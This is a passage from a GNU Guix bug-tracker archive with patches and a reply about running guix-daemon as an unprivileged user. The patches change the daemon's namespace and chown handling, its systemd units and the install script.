         chmod_(chrootStoreDir, 01775);
 
-        if (chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1)
+        if (buildUser.enabled() && chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1)
             throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
 
         foreach (PathSet::iterator, i, inputPaths) {
@@ -1948,14 +1971,34 @@ void DerivationGoal::startBuilder()
     if (useChroot) {
 	char stack[32 * 1024];
 	int flags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | SIGCHLD;
-	if (!fixedOutput) flags |= CLONE_NEWNET;
+	if (!fixedOutput) {
+	    flags |= CLONE_NEWNET;
+	}
+	if (!buildUser.enabled() || getuid() != 0) {
+	    flags |= CLONE_NEWUSER;
+	    readiness.create();
+	}
+
 	/* Ensure proper alignment on the stack.  On aarch64, it has to be 16
 	   bytes.  */
-	pid = clone(childEntry,
+ 	pid = clone(childEntry,
 		    (char *)(((uintptr_t)stack + sizeof(stack) - 8) & ~(uintptr_t)0xf),
 		    flags, this);
-	if (pid == -1)
-	    throw SysError("cloning builder process");
+	if (pid == -1) {
+	    if ((flags & CLONE_NEWUSER) != 0 && getuid() != 0)
+		/* 'clone' fails with EPERM on distros where unprivileged user
+		   namespaces are disabled.  Error out instead of giving up on
+		   isolation.  */
+		throw SysError("cannot create process in unprivileged user namespace");
+	    else
+		throw SysError("cloning builder process");
+	}
+
+	if ((flags & CLONE_NEWUSER) != 0) {
+	     /* Initialize the UID/GID mapping of the child process.  */
+	     initializeUserNamespace(pid);
+	     writeFull(readiness.writeSide, (unsigned char*)"go\n", 3);
+	}
     } else
 #endif
     {
@@ -2001,23 +2044,34 @@ void DerivationGoal::runChild()
 
         _writeToStderr = 0;
 
+	if (readiness.readSide > 0) {
+	     /* Wait for the parent process to initialize the UID/GID mapping
+		of our user namespace.  */
+	     char str[20] = { '\0' };
+	     readFull(readiness.readSide, (unsigned char*)str, 3);
+	     if (strcmp(str, "go\n") != 0)
+		  throw Error("failed to initialize process in unprivileged user namespace");
+	}
+
         restoreAffinity();
 
         commonChildInit(builderOut);
 
 #if CHROOT_ENABLED
         if (useChroot) {
-            /* Initialise the loopback interface. */
-            AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
-            if (fd == -1) throw SysError("cannot open IP socket");
+	    if (!fixedOutput) {
+		/* Initialise the loopback interface. */
+		AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
+		if (fd == -1) throw SysError("cannot open IP socket");
 
-            struct ifreq ifr;
-            strcpy(ifr.ifr_name, "lo");
-            ifr.ifr_flags = IFF_UP | IFF_LOOPBACK | IFF_RUNNING;
-            if (ioctl(fd, SIOCSIFFLAGS, &ifr) == -1)
-                throw SysError("cannot set loopback interface flags");
+		struct ifreq ifr;
+		strcpy(ifr.ifr_name, "lo");
+		ifr.ifr_flags = IFF_UP | IFF_LOOPBACK | IFF_RUNNING;
+		if (ioctl(fd, SIOCSIFFLAGS, &ifr) == -1)
+		    throw SysError("cannot set loopback interface flags");
 
-            fd.close();
+		fd.close();
+	    }
 
             /* Set the hostname etc. to fixed values. */
             char hostname[] = "localhost";
@@ -2463,8 +2517,16 @@ void DerivationGoal::registerOutputs()
             if (buildMode == bmRepair)
               replaceValidPath(path, actualPath);
             else
-              if (buildMode != bmCheck && rename(actualPath.c_str(), path.c_str()) == -1)
-                throw SysError(format("moving build output `%1%' from the chroot to the store") % path);
+		if (buildMode != bmCheck) {
+		    if (S_ISDIR(st.st_mode))
+			/* Change mode on the directory to allow for
+			   rename(2).  */
+			chmod(actualPath.c_str(), st.st_mode | 0700);
+		    if (rename(actualPath.c_str(), path.c_str()) == -1)
+			throw SysError(format("moving build output `%1%' from the chroot to the store") % path);
+		    if (S_ISDIR(st.st_mode) && chmod(path.c_str(), st.st_mode) == -1)
+			throw SysError(format("restoring permissions on directory `%1%'") % actualPath);
+		}
           }
           if (buildMode != bmCheck) actualPath = path;
         }
@@ -2723,17 +2785,42 @@ void DerivationGoal::deleteTmpDir(bool force)
             // Change the ownership if clientUid is set. Never change the
             // ownership or the group to "root" for security reasons.
             if (settings.clientUid != (uid_t) -1 && settings.clientUid != 0) {
-                _chown(tmpDir, settings.clientUid,
-                       settings.clientGid != 0 ? settings.clientGid : -1);
-
-		if (top != tmpDir) {
-		    // Rename tmpDir to its parent, with an intermediate step.
-		    string pivot = top + ".pivot";
-		    if (rename(top.c_str(), pivot.c_str()) == -1)
-			throw SysError("pivoting failed build tree");
-		    if (rename((pivot + "/top").c_str(), top.c_str()) == -1)
-			throw SysError("renaming failed build tree");
-		    rmdir(pivot.c_str());
+		uid_t uid = settings.clientUid;
+		gid_t gid = settings.clientGid != 0 ? settings.clientGid : -1;
+		try {
+		    _chown(tmpDir, uid, gid);
+
+		    if (getuid() != 0) {
+			/* If, without being root, the '_chown' call above
+			   succeeded, then it means we have CAP_CHOWN.  Retake
+			   ownership of tmpDir itself so it can be renamed
+			   below.  */
+			chown(tmpDir.c_str(), getuid(), getgid());
+		    }
+
+		    if (top != tmpDir) {
+			 /* Rename 'tmpDir' to its parent with an intermediate
+			    step.  Skip that if the '_chown' call above fails
+			    since in that case the setuid bits are not
+			    removed.  */
+			 string pivot = top + ".pivot";
+			 if (rename(top.c_str(), pivot.c_str()) == -1)
+			      throw SysError("pivoting failed build tree");
+			 if (rename((pivot + "/top").c_str(), top.c_str()) == -1)
+			      throw SysError("renaming failed build tree");
+
+			 if (getuid() != 0)
+			      /* Running unprivileged but with CAP_CHOWN.  */
+			      chown(top.c_str(), uid, gid);
+
+			 rmdir(pivot.c_str());
+		    }
+		} catch (SysError & e) {
+		    /* When running as an unprivileged user and without
+		       CAP_CHOWN, we cannot chown the build tree.  Print a
+		       message and keep going.  */
+		    printMsg(lvlInfo, format("cannot change ownership of build directory '%1%': %2%")
+			     % tmpDir % strerror(e.errNo));
 		}
             }
         }
diff --git a/nix/libstore/local-store.cc b/nix/libstore/local-store.cc
index 0883a4bbcee..4308264a4f3 100644
--- a/nix/libstore/local-store.cc
+++ b/nix/libstore/local-store.cc
@@ -306,14 +306,14 @@ void LocalStore::openDB(bool create)
 void LocalStore::makeStoreWritable()
 {
 #if HAVE_UNSHARE && HAVE_STATVFS && HAVE_SYS_MOUNT_H && defined(MS_BIND) && defined(MS_REMOUNT)
-    if (getuid() != 0) return;
     /* Check if /nix/store is on a read-only mount. */
     struct statvfs stat;
     if (statvfs(settings.nixStore.c_str(), &stat) != 0)
         throw SysError("getting info about the store mount point");
 
     if (stat.f_flag & ST_RDONLY) {
-        if (unshare(CLONE_NEWNS) == -1)
+	int flags = CLONE_NEWNS | (getpid() == 0 ? 0 : CLONE_NEWUSER);
+        if (unshare(flags) == -1)
             throw SysError("setting up a private mount namespace");
 
         if (mount(0, settings.nixStore.c_str(), "none", MS_REMOUNT | MS_BIND, 0) == -1)
@@ -1614,11 +1614,19 @@ void LocalStore::createUser(const std::string & userName, uid_t userId)
 {
     auto dir = settings.nixStateDir + "/profiles/per-user/" + userName;
 
-    createDirs(dir);
-    if (chmod(dir.c_str(), 0755) == -1)
-	throw SysError(format("changing permissions of directory '%s'") % dir);
-    if (chown(dir.c_str(), userId, -1) == -1)
-	throw SysError(format("changing owner of directory '%s'") % dir);
+    auto created = createDirs(dir);
+    if (!created.empty()) {
+	if (chmod(dir.c_str(), 0755) == -1)
+	    throw SysError(format("changing permissions of directory '%s'") % dir);
+
+	/* The following operation requires CAP_CHOWN or can be handled
+	   manually by a user with CAP_CHOWN.  */
+	if (chown(dir.c_str(), userId, -1) == -1) {
+	    rmdir(dir.c_str());
+	    string message = strerror(errno);
+	    printMsg(lvlInfo, format("failed to change owner of directory '%1%' to %2%: %3%") % dir % userId % message);
+	}
+    }
 }
 
 
-- 
2.48.1





Information forwarded to guix@HIDDEN, dev@HIDDEN, ludo@HIDDEN, othacehe@HIDDEN, zimon.toutoune@HIDDEN, me@HIDDEN, guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 21 Feb 2025 13:09:42 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 21 08:09:42 2025
Received: from localhost ([127.0.0.1]:56710 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tlSmj-0005tC-Mq
	for submit <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:09:42 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:49138)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tlSmA-0005mF-77
 for 75810 <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:09:07 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tlSm2-0004pv-Ap; Fri, 21 Feb 2025 08:08:59 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:References:In-Reply-To:Subject:To:
 From; bh=SM53dgQb3S15KqJEJPeKID9PBkjwc6++/HEHo6BgAm4=; b=cCgsrIgYo7ersm6W2csN
 VM8iHXeU0YvA6zLoGe7K5o0iGxYVfh5V8XTUw4Hf7I510Kj/cFcpUSZgk5E0iM/vpum73+uRzSVbf
 wQYPzsXbvI84DY2FZkLkv9C8vYacOxPG4A7uL1u2wfrZdkQOpm2xkcbp0rZuMCibHiZloOmbKoeYc
 4sCPCnltk9Z3ITv7OsxTDToA0vT+z2xhQ0GchCz2zRwrkLDY2kWfUxq1hL1EyLsfldodBbIR69YIg
 6huuTbwnAGRxuuQFdYN2Zvs5C5BiW1BQFzyJ6RDl6wG0K9NOz+TI+74KywJFCI4Ks1BwGOSN+9kWm
 lPgmWA4cDgC2Nw==;
From: =?utf-8?Q?Ludovic_Court=C3=A8s?= <ludo@HIDDEN>
To: Reepca Russelstein <reepca@HIDDEN>
Subject: Re: [bug#75810] Remounting the store read-write for guix-daemon
In-Reply-To: <87h64sldip.fsf_-_@HIDDEN> ("Ludovic =?utf-8?Q?Court=C3=A8s?=
 =?utf-8?Q?=22's?= message of "Mon, 17 Feb 2025 17:52:30 +0100")
References: <cover.1737738362.git.ludo@HIDDEN>
 <87r04qe7dj.fsf@HIDDEN> <87bjvshrk0.fsf@HIDDEN>
 <87h64sldip.fsf_-_@HIDDEN>
Date: Fri, 21 Feb 2025 14:08:50 +0100
Message-ID: <87ikp38mxp.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

Ludovic Court=C3=A8s <ludovic.courtes@HIDDEN> skribis:

> Second option:
>
>   BindPaths=3D/gnu/store
>
> =E2=80=A6 but that does essentially nothing, and we can=E2=80=99t specify=
 that we want
> =E2=80=9Cremount,rw=E2=80=9D.

Actually, adding =E2=80=9CBefore=3Dgnu-store.mount=E2=80=9D does the trick;=
 I implemented
that in v3.

Ludo=E2=80=99.




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 21 Feb 2025 13:09:41 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 21 08:09:41 2025
Received: from localhost ([127.0.0.1]:56708 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tlSmg-0005sj-9n
	for submit <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:09:41 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:43390)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tlSk3-0005QC-UL
 for 75810 <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:07:09 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tlSjy-0004a2-0g; Fri, 21 Feb 2025 08:06:50 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=PwQDQer/23CkjUsQpvDtFSJfseycr+nkoov1zPm6lbc=; b=KV09Clz6tU49fox7TU4Y
 fngjYCoQngCKnFkWBQXee1JogmZsLLUSyhfhpXj0SaLXqKLeJjiJbak9Zssba2l6U9RyGnIsFuqVn
 5IF2FD+FugWxeBqex8D7UWPJL2IWLDikHEf6Lbcevxc5tapwduVohls6vyCln7pq7Z1zzFSgTYBXN
 a+YpIoBQ6QV1Xmn5EKv67CG8zHmkxt+G9V6sCcWy1h64y1bnFpxzhFhcjraAvMk4FqIfstpxhe5pl
 L7Q+If3/g0gDKxMMOa2UHW1GCkt3hHBYo8bgwJ31LYIUkBSxy64xF1ogxfRh4GqIBT9KT/Q8o4OpR
 n4QcRxqM4Kuh5w==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v3 11/11] guix-install.sh: Support the unprivileged daemon
 where possible.
Date: Fri, 21 Feb 2025 14:05:59 +0100
Message-ID: <bd7e1c6c599a505c4be0ee001f27bb6d9a973b5a.1740142328.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1740142328.git.ludo@HIDDEN>
References: <cover.1740142328.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* etc/guix-install.sh (create_account): New function.
(sys_create_build_user): Use it.  When ‘guix-daemon.service’ contains
“User=guix-daemon” only create the ‘guix-daemon’ user and group.
(sys_delete_build_user): Delete the ‘guix-daemon’ user and group.
(can_install_unprivileged_daemon): New function.
(sys_create_store): When installing the unprivileged daemon, change
ownership of /gnu and /var/guix, and create /var/log/guix.
(sys_authorize_build_farms): When the ‘guix-daemon’ account exists,
change ownership of /etc/guix.

Change-Id: I73e573f1cc5c0cb3794aaaa6b576616b66e0c5e9
---
 etc/guix-install.sh | 108 ++++++++++++++++++++++++++++++++++----------
 1 file changed, 84 insertions(+), 24 deletions(-)

diff --git a/etc/guix-install.sh b/etc/guix-install.sh
index 22d54c0c832..c6f0812b5cf 100755
--- a/etc/guix-install.sh
+++ b/etc/guix-install.sh
@@ -390,6 +390,11 @@ sys_create_store()
     cd "$tmp_path"
     _msg "${INF}Installing /var/guix and /gnu..."
     # Strip (skip) the leading ‘.’ component, which fails on read-only ‘/’.
+    #
+    # TODO: Eventually extract with ‘--owner=guix-daemon’ when installing
+    # and unprivileged guix-daemon service; for now, this script may install
+    # from both an old release that does not support unprivileged guix-daemon
+    # and a new release that does, so ‘chown -R’ later if needed.
     tar --extract --strip-components=1 --file "$pkg" -C /
 
     _msg "${INF}Linking the root user's profile"
@@ -415,38 +420,82 @@ sys_delete_store()
     rm -rf ~root/.config/guix
 }
 
+create_account()
+{
+    local user="$1"
+    local group="$2"
+    local supplementary_groups="$3"
+    local comment="$4"
+
+    if id "$user" &>/dev/null; then
+	_msg "${INF}user '$user' is already in the system, reset"
+	usermod -g "$group" -G "$supplementary_groups"	\
+		-d /var/empty -s "$(which nologin)"	\
+		-c "$comment" "$user"
+    else
+	useradd -g "$group" -G "$supplementary_groups"	\
+		-d /var/empty -s "$(which nologin)"	\
+		-c "$comment" --system "$user"
+	_msg "${PAS}user added <$user>"
+    fi
+}
+
+can_install_unprivileged_daemon()
+{ # Return true if we can install guix-daemon running without privileges.
+    [ "$INIT_SYS" = systemd ] && \
+	grep -q "User=guix-daemon" \
+	     ~root/.config/guix/current/lib/systemd/system/guix-daemon.service \
+	&& ([ ! -f /proc/sys/kernel/unprivileged_userns_clone ] \
+		|| [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -eq 1 ])
+}
+
 sys_create_build_user()
 { # Create the group and user accounts for build users.
 
     _debug "--- [ ${FUNCNAME[0]} ] ---"
 
-    if getent group guixbuild > /dev/null; then
-        _msg "${INF}group guixbuild exists"
-    else
-        groupadd --system guixbuild
-        _msg "${PAS}group <guixbuild> created"
-    fi
-
     if getent group kvm > /dev/null; then
         _msg "${INF}group kvm exists and build users will be added to it"
         local KVMGROUP=,kvm
     fi
 
-    for i in $(seq -w 1 10); do
-        if id "guixbuilder${i}" &>/dev/null; then
-            _msg "${INF}user is already in the system, reset"
-            usermod -g guixbuild -G guixbuild${KVMGROUP}     \
-                    -d /var/empty -s "$(which nologin)" \
-                    -c "Guix build user $i"             \
-                    "guixbuilder${i}";
-        else
-            useradd -g guixbuild -G guixbuild${KVMGROUP}     \
-                    -d /var/empty -s "$(which nologin)" \
-                    -c "Guix build user $i" --system    \
-                    "guixbuilder${i}";
-            _msg "${PAS}user added <guixbuilder${i}>"
-        fi
-    done
+    if [ "$INIT_SYS" = systemd ] && \
+	   grep -q "User=guix-daemon" \
+		~root/.config/guix/current/lib/systemd/system/guix-daemon.service
+    then
+	if getent group guix-daemon > /dev/null; then
+	    _msg "${INF}group guix-daemon exists"
+	else
+	    groupadd --system guix-daemon
+	    _msg "${PAS}group guix-daemon created"
+	fi
+
+	create_account guix-daemon guix-daemon		\
+		       guix-daemon$KVMGROUP		\
+		       "Unprivileged Guix Daemon User"
+
+	# ‘tar xf’ creates root:root files.  Change that.
+	chown -R guix-daemon:guix-daemon	\
+	      /gnu /var/guix
+
+	# The unprivileged cannot create the log directory by itself.
+	mkdir /var/log/guix
+	chown guix-daemon:guix-daemon /var/log/guix
+	chmod 755 /var/log/guix
+    else
+	if getent group guixbuild > /dev/null; then
+            _msg "${INF}group guixbuild exists"
+	else
+            groupadd --system guixbuild
+            _msg "${PAS}group <guixbuild> created"
+	fi
+
+	for i in $(seq -w 1 10); do
+	    create_account "guixbuilder${i}" "guixbuild"	\
+	                   "guixbuild${KVMGROUP}"		\
+			   "Guix build user $i"
+	done
+    fi
 }
 
 sys_delete_build_user()
@@ -461,6 +510,14 @@ sys_delete_build_user()
     if getent group guixbuild &>/dev/null; then
         groupdel -f guixbuild
     fi
+
+    _msg "${INF}remove guix-daemon user"
+    if id guix-daemon &>/dev/null; then
+	userdel -f guix-daemon
+    fi
+    if getent group guix-daemon &>/dev/null; then
+	groupdel -f guix-daemon
+    fi
 }
 
 sys_enable_guix_daemon()
@@ -503,8 +560,7 @@ sys_enable_guix_daemon()
 
               # Install after guix-daemon.service to avoid a harmless warning.
               # systemd .mount units must be named after the target directory.
-              # Here we assume a hard-coded name of /gnu/store.
-              install_unit gnu-store.mount
+	      install_unit gnu-store.mount
 
               systemctl daemon-reload &&
                   systemctl start  guix-daemon; } &&
@@ -628,6 +684,10 @@ project's build farms?"; then
 		&& guix archive --authorize < "$key" \
 		&& _msg "${PAS}Authorized public key for $host"
 	done
+	if id guix-daemon &>/dev/null; then
+	    # /etc/guix/acl must be readable by the unprivileged guix-daemon.
+	    chown -R guix-daemon:guix-daemon /etc/guix
+	fi
     else
         _msg "${INF}Skipped authorizing build farm public keys"
     fi
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 21 Feb 2025 13:09:13 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 21 08:09:13 2025
Received: from localhost ([127.0.0.1]:56701 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tlSmF-0005oS-1C
	for submit <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:09:13 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:60070)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tlSk1-0005PX-6T
 for 75810 <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:07:06 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tlSjv-0004Zn-Kv; Fri, 21 Feb 2025 08:06:47 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=fWWXPGKmocenmkwm2NuKznHSEy4eXcjP6Tuf4/xJCg8=; b=auRDK2ruMfc5RD6arP5j
 uAoAGuI/i8HBtnCV1YMc+pHZhD50PWpZL0Cd+6NfC9sjY7+bE0PaTiHYa40V91ebluZPd+S1gEr+x
 7nRLF0HGI3R/3fXmVz/KAId8u141GkMc850QccaCLIFCvh79glR+ufs+Wljfo+YBAkCroLLHckpaX
 emo25BEufl6UYHmRBeWyCMF6F2/GOKc8WCKf0SAd0mxOUlmozJUnTwFC+WrosnzpegcPgvfUDSGCJ
 zrTfrniVZJixMEvB4hMS0ptlaVUb2ENXOOdGkHvMarwP8HnsilQLz//bgq/oeSI8kjr0sNbLcGyCN
 74i2NoInvcaevQ==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v3 10/11] =?UTF-8?q?etc:=20systemd=20services:=20Run=20?=
 =?UTF-8?q?=E2=80=98guix-daemon=E2=80=99=20as=20an=20unprivileged=20user.?=
Date: Fri, 21 Feb 2025 14:05:58 +0100
Message-ID: <32992bd69bfc6c3ff386c67ccfc2edeeb9fe7fd4.1740142328.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1740142328.git.ludo@HIDDEN>
References: <cover.1740142328.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* etc/guix-daemon.service.in (ExecStart): Remove ‘--build-users-group’.
(Before, User, AmbientCapabilities, PrivateMounts, BindPaths): New fields.
* etc/gnu-store.mount.in (Before): Remove.
(WantedBy): Change to ‘multi-user.target’.

Change-Id: Id826b8ab535844b6024d777f6bd15fd49db6d65e
---
 etc/gnu-store.mount.in     |  3 +--
 etc/guix-daemon.service.in | 20 +++++++++++++++++++-
 2 files changed, 20 insertions(+), 3 deletions(-)

diff --git a/etc/gnu-store.mount.in b/etc/gnu-store.mount.in
index c94f2db72be..f9918c9e52e 100644
--- a/etc/gnu-store.mount.in
+++ b/etc/gnu-store.mount.in
@@ -2,10 +2,9 @@
 Description=Read-only @storedir@ for GNU Guix
 DefaultDependencies=no
 ConditionPathExists=@storedir@
-Before=guix-daemon.service
 
 [Install]
-WantedBy=guix-daemon.service
+WantedBy=multi-user.target
 
 [Mount]
 What=@storedir@
diff --git a/etc/guix-daemon.service.in b/etc/guix-daemon.service.in
index 5c43d9b7f1b..a04cf1f2f0f 100644
--- a/etc/guix-daemon.service.in
+++ b/etc/guix-daemon.service.in
@@ -5,11 +5,29 @@
 [Unit]
 Description=Build daemon for GNU Guix
 
+# Start before 'gnu-store.mount' to get a writable view of the store.
+Before=gnu-store.mount
+
 [Service]
 ExecStart=@localstatedir@/guix/profiles/per-user/root/current-guix/bin/guix-daemon \
-    --build-users-group=guixbuild --discover=no \
+    --discover=no \
     --substitute-urls='@GUIX_SUBSTITUTE_URLS@'
 Environment='GUIX_LOCPATH=@localstatedir@/guix/profiles/per-user/root/guix-profile/lib/locale' LC_ALL=en_US.utf8
+
+# Run under a dedicated unprivileged user account.
+User=guix-daemon
+
+# Bind-mount the store read-write in a private namespace, to counter the
+# effect of 'gnu-store.mount'.
+PrivateMounts=true
+BindPaths=@storedir@
+
+# Provide the CAP_CHOWN capability so that guix-daemon cran create and chown
+# /var/guix/profiles/per-user/$USER and also chown failed build directories
+# when using '--keep-failed'.  Note that guix-daemon explicitly drops ambient
+# capabilities before executing build processes so they don't inherit them.
+AmbientCapabilities=CAP_CHOWN
+
 StandardOutput=journal
 StandardError=journal
 
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 21 Feb 2025 13:09:11 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 21 08:09:11 2025
Received: from localhost ([127.0.0.1]:56699 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tlSmC-0005o8-UZ
	for submit <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:09:10 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:60064)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tlSjz-0005PH-Re
 for 75810 <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:07:04 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tlSju-0004Zc-7k; Fri, 21 Feb 2025 08:06:46 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=O9Cnga7box/1rcpw3VHiKXPbujUc92KmLXmRuqngb6k=; b=Udu5iZBOsTuJRHw4R6qH
